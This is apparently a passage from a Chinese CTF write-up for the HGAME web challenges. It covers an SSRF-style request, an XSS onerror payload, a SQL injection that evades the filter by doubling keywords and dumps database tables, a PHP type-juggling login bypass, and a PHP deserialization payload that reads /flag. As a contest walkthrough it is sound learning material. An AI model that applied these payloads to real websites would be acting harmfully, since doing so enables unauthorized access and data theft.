AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/flag HTTP/1.1
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.2.472555996.1642680122; __gads=ID=ffd6fa567afacd7b-22ce67c00cd00047:T=1642680123:RT=1642680123:S=ALNI_MYrs7iSPv9n3RCqflSqd4vkDHHHBA
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 25 Jan 2022 08:39:02 GMT
If-None-Match: "22a-5d664045f9580"
Cache-Control: max-age=0

得到flag:

webpack-engine

又是一题网页源代码查找题,这题把flag藏在CSS里了。先点击几次按钮,然后页面跳转到《Never Gonna Give You Up》后翻开CSS即可找到flag:

解两次base64得到flag:

At0m的留言板

xss,做太少了,输出那块知识盲区了一波,直接给payload:

1
<img src="x" onerror="this.alt=document.getElementsByTagName('script')[0].innerHTML"/>

获得flag:

Pokemon

sql注入题,我做的时候群里没给部分源码,所以是fuzz的,后面给了关键源码:

因此双写绕过+联合注入就可以了,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?code=1/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,group_concat(schema_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.schemata%23

//information_schema,pokemon


?code=1/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/'pokemon'%23

//errors,fllllllllaaaaaag


?code=1/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/'pokemon
'/*/**/*/anandd/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'
%23

//flag


?code=1/*/**/*/ununionion/*/**/*/seselectlect/*/**/*/1,group_concat(flag)/*/**/*/frfromom/*/**/*/fllllllllaaaaaag%23

//hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}

一本单词书

同样是提示www.zip,下载附件,发现好几个php,逐一审计代码,确定ping、save、admin_check这三个php文件与注入无关,login处有一个黑魔法绕过,get、index、evil三个文件有一个php反序列化考查。

首先是login.php部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ($_POST['username'] != 'adm1n') {
die(alert('username or password is invalid'));
}

if (is_numeric($_POST['password'])) {
die(alert('密码不能设置为纯数字,我妈都知道( ̄△ ̄;)'));
} else {
if ($_POST['password'] == 1080) {
$_SESSION['username'] = 'admin';
$_SESSION['unique_key'] = md5(randomString(8));
header('Location: index.php');
} else {
die(alert('这你都能输错?'));
}
}

代码逻辑是验证账号为adm1n,密码为1080,但是密码不能为纯数字,黑魔法绕过即可:

1
username:adm1n     password:1080a

接着登陆成功进入后进入index.php页面,审计核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
async function fresh() {
wordlist.innerHTML = ""
const pool = (await axios.get("/get.php")).data
if (pool.length == 0) {
pool['abandon'] = '放弃'
}
for (const key in pool) {
const value = JSON.stringify(pool[key])
const html = `<li><span>${key}-></span> <span>${value}</span></li>`
wordlist.innerHTML += html
}
}

需要调用到get.php来做输入,接着审计get.php核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
include 'evil.php';

// flag is in /flag

function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));

$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}

这个函数将传入的数据进行反序列化,但是只是别|后面的部分,因此在构建反序列化后要在最前面加上|,最后利用evil.php进行反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Evil {
public $file='/flag';
public $flag;

public function __wakeup() {
$content = file_get_contents($this->file);
if (preg_match("/hgame/", $content)) {
$this->flag = 'hacker!';
}
$this->flag = $content;
}
}

$a = new Evil;
echo serialize($a);

//O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;}

最后将反序列化写入网页获取flag: